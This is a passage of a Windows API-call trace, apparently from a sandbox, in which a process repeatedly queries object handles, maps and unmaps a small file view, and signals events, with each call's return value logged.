[0259.672] ResetEvent (hEvent=0x110) returned 1 [0259.672] SetEvent (hEvent=0x114) returned 1 [0259.673] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.673] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.673] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.673] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.673] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.673] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.673] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.673] ResetEvent (hEvent=0x110) returned 1 [0259.673] SetEvent (hEvent=0x114) returned 1 [0259.673] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.673] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.674] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.674] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.674] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.674] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.674] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.674] ResetEvent (hEvent=0x110) returned 1 [0259.674] SetEvent (hEvent=0x114) returned 1 [0259.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.675] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.675] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.675] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.675] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.675] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.675] ResetEvent (hEvent=0x110) returned 1 [0259.675] SetEvent (hEvent=0x114) returned 1 [0259.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.675] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.675] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.675] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.675] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.675] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.676] ResetEvent (hEvent=0x110) returned 1 [0259.676] SetEvent (hEvent=0x114) returned 1 [0259.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.676] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.676] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.676] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.676] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.676] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.676] ResetEvent (hEvent=0x110) returned 1 [0259.676] SetEvent (hEvent=0x114) returned 1 [0259.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.676] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.676] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.676] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.676] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.676] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.677] ResetEvent (hEvent=0x110) returned 1 [0259.677] SetEvent (hEvent=0x114) returned 1 [0259.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.677] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.677] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.677] ResetEvent (hEvent=0x110) returned 1 [0259.677] SetEvent (hEvent=0x114) returned 1 [0259.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.677] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.677] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.677] ResetEvent (hEvent=0x110) returned 1 [0259.677] SetEvent (hEvent=0x114) returned 1 [0259.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.677] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.678] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.678] ResetEvent (hEvent=0x110) returned 1 [0259.678] SetEvent (hEvent=0x114) returned 1 [0259.678] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.678] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.678] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.678] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.679] ResetEvent (hEvent=0x110) returned 1 [0259.679] SetEvent (hEvent=0x114) returned 1 [0259.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.679] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.679] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.679] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.679] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.679] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.679] ResetEvent (hEvent=0x110) returned 1 [0259.679] SetEvent (hEvent=0x114) returned 1 [0259.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.679] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.679] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.679] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.680] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.680] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.680] ResetEvent (hEvent=0x110) returned 1 [0259.680] SetEvent (hEvent=0x114) returned 1 [0259.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.680] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.680] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.680] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.680] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.680] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.680] ResetEvent (hEvent=0x110) returned 1 [0259.680] SetEvent (hEvent=0x114) returned 1 [0259.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.680] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.680] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.680] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.680] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.681] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.681] ResetEvent (hEvent=0x110) returned 1 [0259.681] SetEvent (hEvent=0x114) returned 1 [0259.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.681] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.681] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.681] ResetEvent (hEvent=0x110) returned 1 [0259.681] SetEvent (hEvent=0x114) returned 1 [0259.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.681] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.681] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.681] ResetEvent (hEvent=0x110) returned 1 [0259.681] SetEvent (hEvent=0x114) returned 1 [0259.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.682] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.682] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.682] ResetEvent (hEvent=0x110) returned 1 [0259.682] SetEvent (hEvent=0x114) returned 1 [0259.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.682] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.682] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.682] ResetEvent (hEvent=0x110) returned 1 [0259.682] SetEvent (hEvent=0x114) returned 1 [0259.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.682] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.682] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.682] ResetEvent (hEvent=0x110) returned 1 [0259.682] SetEvent (hEvent=0x114) returned 1 [0259.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.683] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.683] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.683] ResetEvent (hEvent=0x110) returned 1 [0259.683] SetEvent (hEvent=0x114) returned 1 [0259.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.683] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.683] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.683] ResetEvent (hEvent=0x110) returned 1 [0259.683] SetEvent (hEvent=0x114) returned 1 [0259.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.683] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.683] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.683] ResetEvent (hEvent=0x110) returned 1 [0259.684] SetEvent (hEvent=0x114) returned 1 [0259.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.684] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.684] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.684] ResetEvent (hEvent=0x110) returned 1 [0259.684] SetEvent (hEvent=0x114) returned 1 [0259.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.684] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.684] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.684] ResetEvent (hEvent=0x110) returned 1 [0259.684] SetEvent (hEvent=0x114) returned 1 [0259.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.684] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.684] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.684] ResetEvent (hEvent=0x110) returned 1 [0259.685] SetEvent (hEvent=0x114) returned 1 [0259.685] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.685] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.685] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.685] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.685] ResetEvent (hEvent=0x110) returned 1 [0259.685] SetEvent (hEvent=0x114) returned 1 [0259.685] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.685] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.685] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.685] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.685] ResetEvent (hEvent=0x110) returned 1 [0259.685] SetEvent (hEvent=0x114) returned 1 [0259.685] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.685] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.685] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.685] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.686] ResetEvent (hEvent=0x110) returned 1 [0259.686] SetEvent (hEvent=0x114) returned 1 [0259.686] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.686] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.686] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.686] ResetEvent (hEvent=0x110) returned 1 [0259.686] SetEvent (hEvent=0x114) returned 1 [0259.686] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.686] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.686] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.686] ResetEvent (hEvent=0x110) returned 1 [0259.686] SetEvent (hEvent=0x114) returned 1 [0259.686] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.687] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.687] ResetEvent (hEvent=0x110) returned 1 [0259.687] SetEvent (hEvent=0x114) returned 1 [0259.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.687] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.687] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.687] ResetEvent (hEvent=0x110) returned 1 [0259.687] SetEvent (hEvent=0x114) returned 1 [0259.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.687] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.687] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.687] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.687] ResetEvent (hEvent=0x110) returned 1 [0259.687] SetEvent (hEvent=0x114) returned 1 [0259.687] RtlAllocateHeap 